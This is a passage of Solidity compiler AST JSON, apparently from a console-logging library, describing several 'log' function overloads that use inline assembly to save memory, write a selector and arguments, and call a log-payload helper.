rc":"125421:16:22"},"nativeSrc":"125421:16:22","nodeType":"YulExpressionStatement","src":"125421:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125457:4:22","nodeType":"YulLiteral","src":"125457:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"125463:2:22","nodeType":"YulIdentifier","src":"125463:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125450:6:22","nodeType":"YulIdentifier","src":"125450:6:22"},"nativeSrc":"125450:16:22","nodeType":"YulFunctionCall","src":"125450:16:22"},"nativeSrc":"125450:16:22","nodeType":"YulExpressionStatement","src":"125450:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125486:4:22","nodeType":"YulLiteral","src":"125486:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"125492:2:22","nodeType":"YulIdentifier","src":"125492:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125479:6:22","nodeType":"YulIdentifier","src":"125479:6:22"},"nativeSrc":"125479:16:22","nodeType":"YulFunctionCall","src":"125479:16:22"},"nativeSrc":"125479:16:22","nodeType":"YulExpressionStatement","src":"125479:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37860,"isOffset":false,"isSlot":false,"src":"125141:2:22","valueSize":1},{"declaration":37863,"isOffset":false,"isSlot":false,"src":"125171:2:22","valueSize":1},{"declaration":37866,"isOffset":false,"isSlot":false,"src":"125201:2:22","valueSize":1},{"declaration":37869,"isOffset":false,"isSlot":false,"src":"125231:2:22","valueSize":1},{"declaration":37872,"isOffset":false,"isSlot":false,"src":"125261:2:22","valueSize":1},{"declaration":37850,"isOffset":false,"isSlot":false,"src":"125405:2:22","valueSize":1},{"declaration":37852,"isOffset":false,"isSlot":false,"src":"125434:2:22","valueSize":1},{"declaration":37854,"isOffset":false,"isSlot":false,"src":"125463:2:22","valueSize":1},{"declaration":37856,"isOffset":false,"isSlot":false,"src":"125492:2:22","valueSize":1}],"id":37874,"nodeType":"InlineAssembly","src":"125118:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37876,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"125530:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37877,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"125536:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37875,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"125514:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37878,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"125514:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37879,"nodeType":"ExpressionStatement","src":"125514:27:22"},{"AST":{"nativeSrc":"125560:156:22","nodeType":"YulBlock","src":"125560:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"125581:4:22","nodeType":"YulLiteral","src":"125581:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"125587:2:22","nodeType":"YulIdentifier","src":"125587:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125574:6:22","nodeType":"YulIdentifier","src":"125574:6:22"},"nativeSrc":"125574:16:22","nodeType":"YulFunctionCall","src":"125574:16:22"},"nativeSrc":"125574:16:22","nodeType":"YulExpressionStatement","src":"125574:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125610:4:22","nodeType":"YulLiteral","src":"125610:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"125616:2:22","nodeType":"YulIdentifier","src":"125616:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125603:6:22","nodeType":"YulIdentifier","src":"125603:6:22"},"nativeSrc":"125603:16:22","nodeType":"YulFunctionCall","src":"125603:16:22"},"nativeSrc":"125603:16:22","nodeType":"YulExpressionStatement","src":"125603:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125639:4:22","nodeType":"YulLiteral","src":"125639:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"125645:2:22","nodeType":"YulIdentifier","src":"125645:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125632:6:22","nodeType":"YulIdentifier","src":"125632:6:22"},"nativeSrc":"125632:16:22","nodeType":"YulFunctionCall","src":"125632:16:22"},"nativeSrc":"125632:16:22","nodeType":"YulExpressionStatement","src":"125632:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125668:4:22","nodeType":"YulLiteral","src":"125668:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"125674:2:22","nodeType":"YulIdentifier","src":"125674:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125661:6:22","nodeType":"YulIdentifier","src":"125661:6:22"},"nativeSrc":"125661:16:22","nodeType":"YulFunctionCall","src":"125661:16:22"},"nativeSrc":"125661:16:22","nodeType":"YulExpressionStatement","src":"125661:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"125697:4:22","nodeType":"YulLiteral","src":"125697:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"125703:2:22","nodeType":"YulIdentifier","src":"125703:2:22"}],"functionName":{"name":"mstore","nativeSrc":"125690:6:22","nodeType":"YulIdentifier","src":"125690:6:22"},"nativeSrc":"125690:16:22","nodeType":"YulFunctionCall","src":"125690:16:22"},"nativeSrc":"125690:16:22","nodeType":"YulExpressionStatement","src":"125690:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37860,"isOffset":false,"isSlot":false,"src":"125587:2:22","valueSize":1},{"declaration":37863,"isOffset":false,"isSlot":false,"src":"125616:2:22","valueSize":1},{"declaration":37866,"isOffset":false,"isSlot":false,"src":"125645:2:22","valueSize":1},{"declaration":37869,"isOffset":false,"isSlot":false,"src":"125674:2:22","valueSize":1},{"declaration":37872,"isOffset":false,"isSlot":false,"src":"125703:2:22","valueSize":1}],"id":37880,"nodeType":"InlineAssembly","src":"125551:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"124945:3:22","parameters":{"id":37857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37850,"mutability":"mutable","name":"p0","nameLocation":"124957:2:22","nodeType":"VariableDeclaration","scope":37882,"src":"124949:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37849,"name":"address","nodeType":"ElementaryTypeName","src":"124949:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37852,"mutability":"mutable","name":"p1","nameLocation":"124969:2:22","nodeType":"VariableDeclaration","scope":37882,"src":"124961:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37851,"name":"uint256","nodeType":"ElementaryTypeName","src":"124961:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37854,"mutability":"mutable","name":"p2","nameLocation":"124981:2:22","nodeType":"VariableDeclaration","scope":37882,"src":"124973:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37853,"name":"uint256","nodeType":"ElementaryTypeName","src":"124973:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37856,"mutability":"mutable","name":"p3","nameLocation":"124990:2:22","nodeType":"VariableDeclaration","scope":37882,"src":"124985:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":37855,"name":"bool","nodeType":"ElementaryTypeName","src":"124985:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"124948:45:22"},"returnParameters":{"id":37858,"nodeType":"ParameterList","parameters":[],"src":"125008:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37916,"nodeType":"FunctionDefinition","src":"125728:792:22","nodes":[],"body":{"id":37915,"nodeType":"Block","src":"125803:717:22","nodes":[],"statements":[{"assignments":[37894],"declarations":[{"constant":false,"id":37894,"mutability":"mutable","name":"m0","nameLocation":"125821:2:22","nodeType":"VariableDeclaration","scope":37915,"src":"125813:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37893,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125813:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37895,"nodeType":"VariableDeclarationStatement","src":"125813:10:22"},{"assignments":[37897],"declarations":[{"constant":false,"id":37897,"mutability":"mutable","name":"m1","nameLocation":"125841:2:22","nodeType":"VariableDeclaration","scope":37915,"src":"125833:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37896,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125833:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37898,"nodeType":"VariableDeclarationStatement","src":"125833:10:22"},{"assignments":[37900],"declarations":[{"constant":false,"id":37900,"mutability":"mutable","name":"m2","nameLocation":"125861:2:22","nodeType":"VariableDeclaration","scope":37915,"src":"125853:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37899,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125853:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37901,"nodeType":"VariableDeclarationStatement","src":"125853:10:22"},{"assignments":[37903],"declarations":[{"constant":false,"id":37903,"mutability":"mutable","name":"m3","nameLocation":"125881:2:22","nodeType":"VariableDeclaration","scope":37915,"src":"125873:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37902,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125873:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37904,"nodeType":"VariableDeclarationStatement","src":"125873:10:22"},{"assignments":[37906],"declarations":[{"constant":false,"id":37906,"mutability":"mutable","name":"m4","nameLocation":"125901:2:22","nodeType":"VariableDeclaration","scope":37915,"src":"125893:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37905,"name":"bytes32","nodeType":"ElementaryTypeName","src":"125893:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37907,"nodeType":"VariableDeclarationStatement","src":"125893:10:22"},{"AST":{"nativeSrc":"125922:381:22","nodeType":"YulBlock","src":"125922:381:22","statements":[{"nativeSrc":"125936:17:22","nodeType":"YulAssignment","src":"125936:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"125948:4:22","nodeType":"YulLiteral","src":"125948:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"125942:5:22","nodeType":"YulIdentifier","src":"125942:5:22"},"nativeSrc":"125942:11:22","nodeType":"YulFunctionCall","src":"125942:11:22"},"variableNames":[{"name":"m0","nativeSrc":"125936:2:22","nodeType":"YulIdentifier","src":"125936:2:22"}]},{"nativeSrc":"125966:17:22","nodeType":"YulAssignment","src":"125966:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"125978:4:22","nodeType":"YulLiteral","src":"125978:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"125972:5:22","nodeType":"YulIdentifier","src":"125972:5:22"},"nativeSrc":"125972:11:22","nodeType":"YulFunctionCall","src":"125972:11:22"},"variableNames":[{"name":"m1","nativeSrc":"125966:2:22","nodeType":"YulIdentifier","src":"125966:2:22"}]},{"nativeSrc":"125996:17:22","nodeType":"YulAssignment","src":"125996:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"126008:4:22","nodeType":"YulLiteral","src":"126008:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"126002:5:22","nodeType":"YulIdentifier","src":"126002:5:22"},"nativeSrc":"126002:11:22","nodeType":"YulFunctionCall","src":"126002:11:22"},"variableNames":[{"name":"m2","nativeSrc":"125996:2:22","nodeType":"YulIdentifier","src":"125996:2:22"}]},{"nativeSrc":"126026:17:22","nodeType":"YulAssignment","src":"126026:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"126038:4:22","nodeType":"YulLiteral","src":"126038:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"126032:5:22","nodeType":"YulIdentifier","src":"126032:5:22"},"nativeSrc":"126032:11:22","nodeType":"YulFunctionCall","src":"126032:11:22"},"variableNames":[{"name":"m3","nativeSrc":"126026:2:22","nodeType":"YulIdentifier","src":"126026:2:22"}]},{"nativeSrc":"126056:17:22","nodeType":"YulAssignment","src":"126056:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"126068:4:22","nodeType":"YulLiteral","src":"126068:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"126062:5:22","nodeType":"YulIdentifier","src":"126062:5:22"},"nativeSrc":"126062:11:22","nodeType":"YulFunctionCall","src":"126062:11:22"},"variableNames":[{"name":"m4","nativeSrc":"126056:2:22","nodeType":"YulIdentifier","src":"126056:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126160:4:22","nodeType":"YulLiteral","src":"126160:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"126166:10:22","nodeType":"YulLiteral","src":"126166:10:22","type":"","value":"0x34f0e636"}],"functionName":{"name":"mstore","nativeSrc":"126153:6:22","nodeType":"YulIdentifier","src":"126153:6:22"},"nativeSrc":"126153:24:22","nodeType":"YulFunctionCall","src":"126153:24:22"},"nativeSrc":"126153:24:22","nodeType":"YulExpressionStatement","src":"126153:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126197:4:22","nodeType":"YulLiteral","src":"126197:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"126203:2:22","nodeType":"YulIdentifier","src":"126203:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126190:6:22","nodeType":"YulIdentifier","src":"126190:6:22"},"nativeSrc":"126190:16:22","nodeType":"YulFunctionCall","src":"126190:16:22"},"nativeSrc":"126190:16:22","nodeType":"YulExpressionStatement","src":"126190:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126226:4:22","nodeType":"YulLiteral","src":"126226:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"126232:2:22","nodeType":"YulIdentifier","src":"126232:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126219:6:22","nodeType":"YulIdentifier","src":"126219:6:22"},"nativeSrc":"126219:16:22","nodeType":"YulFunctionCall","src":"126219:16:22"},"nativeSrc":"126219:16:22","nodeType":"YulExpressionStatement","src":"126219:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126255:4:22","nodeType":"YulLiteral","src":"126255:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"126261:2:22","nodeType":"YulIdentifier","src":"126261:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126248:6:22","nodeType":"YulIdentifier","src":"126248:6:22"},"nativeSrc":"126248:16:22","nodeType":"YulFunctionCall","src":"126248:16:22"},"nativeSrc":"126248:16:22","nodeType":"YulExpressionStatement","src":"126248:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126284:4:22","nodeType":"YulLiteral","src":"126284:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"126290:2:22","nodeType":"YulIdentifier","src":"126290:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126277:6:22","nodeType":"YulIdentifier","src":"126277:6:22"},"nativeSrc":"126277:16:22","nodeType":"YulFunctionCall","src":"126277:16:22"},"nativeSrc":"126277:16:22","nodeType":"YulExpressionStatement","src":"126277:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37894,"isOffset":false,"isSlot":false,"src":"125936:2:22","valueSize":1},{"declaration":37897,"isOffset":false,"isSlot":false,"src":"125966:2:22","valueSize":1},{"declaration":37900,"isOffset":false,"isSlot":false,"src":"125996:2:22","valueSize":1},{"declaration":37903,"isOffset":false,"isSlot":false,"src":"126026:2:22","valueSize":1},{"declaration":37906,"isOffset":false,"isSlot":false,"src":"126056:2:22","valueSize":1},{"declaration":37884,"isOffset":false,"isSlot":false,"src":"126203:2:22","valueSize":1},{"declaration":37886,"isOffset":false,"isSlot":false,"src":"126232:2:22","valueSize":1},{"declaration":37888,"isOffset":false,"isSlot":false,"src":"126261:2:22","valueSize":1},{"declaration":37890,"isOffset":false,"isSlot":false,"src":"126290:2:22","valueSize":1}],"id":37908,"nodeType":"InlineAssembly","src":"125913:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":37910,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"126328:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":37911,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"126334:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":37909,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"126312:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":37912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"126312:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":37913,"nodeType":"ExpressionStatement","src":"126312:27:22"},{"AST":{"nativeSrc":"126358:156:22","nodeType":"YulBlock","src":"126358:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"126379:4:22","nodeType":"YulLiteral","src":"126379:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"126385:2:22","nodeType":"YulIdentifier","src":"126385:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126372:6:22","nodeType":"YulIdentifier","src":"126372:6:22"},"nativeSrc":"126372:16:22","nodeType":"YulFunctionCall","src":"126372:16:22"},"nativeSrc":"126372:16:22","nodeType":"YulExpressionStatement","src":"126372:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126408:4:22","nodeType":"YulLiteral","src":"126408:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"126414:2:22","nodeType":"YulIdentifier","src":"126414:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126401:6:22","nodeType":"YulIdentifier","src":"126401:6:22"},"nativeSrc":"126401:16:22","nodeType":"YulFunctionCall","src":"126401:16:22"},"nativeSrc":"126401:16:22","nodeType":"YulExpressionStatement","src":"126401:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126437:4:22","nodeType":"YulLiteral","src":"126437:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"126443:2:22","nodeType":"YulIdentifier","src":"126443:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126430:6:22","nodeType":"YulIdentifier","src":"126430:6:22"},"nativeSrc":"126430:16:22","nodeType":"YulFunctionCall","src":"126430:16:22"},"nativeSrc":"126430:16:22","nodeType":"YulExpressionStatement","src":"126430:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126466:4:22","nodeType":"YulLiteral","src":"126466:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"126472:2:22","nodeType":"YulIdentifier","src":"126472:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126459:6:22","nodeType":"YulIdentifier","src":"126459:6:22"},"nativeSrc":"126459:16:22","nodeType":"YulFunctionCall","src":"126459:16:22"},"nativeSrc":"126459:16:22","nodeType":"YulExpressionStatement","src":"126459:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"126495:4:22","nodeType":"YulLiteral","src":"126495:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"126501:2:22","nodeType":"YulIdentifier","src":"126501:2:22"}],"functionName":{"name":"mstore","nativeSrc":"126488:6:22","nodeType":"YulIdentifier","src":"126488:6:22"},"nativeSrc":"126488:16:22","nodeType":"YulFunctionCall","src":"126488:16:22"},"nativeSrc":"126488:16:22","nodeType":"YulExpressionStatement","src":"126488:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":37894,"isOffset":false,"isSlot":false,"src":"126385:2:22","valueSize":1},{"declaration":37897,"isOffset":false,"isSlot":false,"src":"126414:2:22","valueSize":1},{"declaration":37900,"isOffset":false,"isSlot":false,"src":"126443:2:22","valueSize":1},{"declaration":37903,"isOffset":false,"isSlot":false,"src":"126472:2:22","valueSize":1},{"declaration":37906,"isOffset":false,"isSlot":false,"src":"126501:2:22","valueSize":1}],"id":37914,"nodeType":"InlineAssembly","src":"126349:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"125737:3:22","parameters":{"id":37891,"nodeType":"ParameterList","parameters":[{"constant":false,"id":37884,"mutability":"mutable","name":"p0","nameLocation":"125749:2:22","nodeType":"VariableDeclaration","scope":37916,"src":"125741:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":37883,"name":"address","nodeType":"ElementaryTypeName","src":"125741:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":37886,"mutability":"mutable","name":"p1","nameLocation":"125761:2:22","nodeType":"VariableDeclaration","scope":37916,"src":"125753:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37885,"name":"uint256","nodeType":"ElementaryTypeName","src":"125753:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37888,"mutability":"mutable","name":"p2","nameLocation":"125773:2:22","nodeType":"VariableDeclaration","scope":37916,"src":"125765:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37887,"name":"uint256","nodeType":"ElementaryTypeName","src":"125765:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":37890,"mutability":"mutable","name":"p3","nameLocation":"125785:2:22","nodeType":"VariableDeclaration","scope":37916,"src":"125777:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":37889,"name":"uint256","nodeType":"ElementaryTypeName","src":"125777:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"125740:48:22"},"returnParameters":{"id":37892,"nodeType":"ParameterList","parameters":[],"src":"125803:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":37956,"nodeType":"FunctionDefinition","src":"126526:1340:22","nodes":[],"body":{"id":37955,"nodeType":"Block","src":"126601:1265:22","nodes":[],"statements":[{"assignments":[37928],"declarations":[{"constant":false,"id":37928,"mutability":"mutable","name":"m0","nameLocation":"126619:2:22","nodeType":"VariableDeclaration","scope":37955,"src":"126611:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37927,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126611:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37929,"nodeType":"VariableDeclarationStatement","src":"126611:10:22"},{"assignments":[37931],"declarations":[{"constant":false,"id":37931,"mutability":"mutable","name":"m1","nameLocation":"126639:2:22","nodeType":"VariableDeclaration","scope":37955,"src":"126631:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37930,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126631:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37932,"nodeType":"VariableDeclarationStatement","src":"126631:10:22"},{"assignments":[37934],"declarations":[{"constant":false,"id":37934,"mutability":"mutable","name":"m2","nameLocation":"126659:2:22","nodeType":"VariableDeclaration","scope":37955,"src":"126651:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37933,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126651:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37935,"nodeType":"VariableDeclarationStatement","src":"126651:10:22"},{"assignments":[37937],"declarations":[{"constant":false,"id":37937,"mutability":"mutable","name":"m3","nameLocation":"126679:2:22","nodeType":"VariableDeclaration","scope":37955,"src":"126671:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37936,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126671:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37938,"nodeType":"VariableDeclarationStatement","src":"126671:10:22"},{"assignments":[37940],"declarations":[{"constant":false,"id":37940,"mutability":"mutable","name":"m4","nameLocation":"126699:2:22","nodeType":"VariableDeclaration","scope":37955,"src":"126691:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37939,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126691:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37941,"nodeType":"VariableDeclarationStatement","src":"126691:10:22"},{"assignments":[37943],"declarations":[{"constant":false,"id":37943,"mutability":"mutable","name":"m5","nameLocation":"126719:2:22","nodeType":"VariableDeclaration","scope":37955,"src":"126711:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37942,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126711:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37944,"nodeType":"VariableDeclarationStatement","src":"126711:10:22"},{"assignments":[37946],"declarations":[{"constant":false,"id":37946,"mutability":"mutable","name":"m6","nameLocation":"126739:2:22","nodeType":"VariableDeclaration","scope":37955,"src":"126731:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":37945,"name":"bytes32","nodeType":"ElementaryTypeName","src":"126731:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":37947,"nodeType":"VariableDeclarationStatement","src":"126731:10:22"},{"AST":{"nativeSrc":"126760:831:22","nodeType":"YulBlock","src":"126760:831:22","statements":[{"body":{"nativeSrc":"126803:313:22","nodeType":"YulBlock","src":"126803:313:22","statements":[{"nativeSrc":"126821:15:22","nodeType":"YulVariableDeclaration","src":"126821:15:22","value":{"kind":"number","nativeSrc":"126835:1:22","nodeType":"YulLiteral","src":"126835:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"126825:6:22","nodeType":"YulTypedName","src":"126825:6:22","type":""}]},{"body":{"nativeSrc":"126906:40:22","nodeType":"YulBlock","src":"126906:40:22","statements":[{"body":{"nativeSrc":"126935:9:22","nodeType":"YulBlock","src":"126935:9:22","statements":[{"nativeSrc":"126937:5:22","nodeType":"YulBreak","src":"126937:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"126923:6:22","nodeType":"YulIdentifier","src":"126923:6:22"},{"name":"w","nativeSrc":"126931:1:22","nodeType":"YulIdentifier","src":"126931:1:22"}],"functionName":{"name":"byte","nativeSrc":"126918:4:22","nodeType":"YulIdentifier","src":"126918:4:22"},"nativeSrc":"126918:15:22","nodeType":"YulFunctionCall","src":"126918:15:22"}],"functionName":{"name":"iszero","nativeSrc":"126911:6:22","nodeType":"YulIdentifier","src":"126911:6:22"},"nativeSrc":"126911:23:22","nodeType":"YulFunctionCall","src":"126911:23:22"},"nativeSrc":"126908:36:22","nodeType":"YulIf","src":"126908:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"126863:6:22","nodeType":"Yul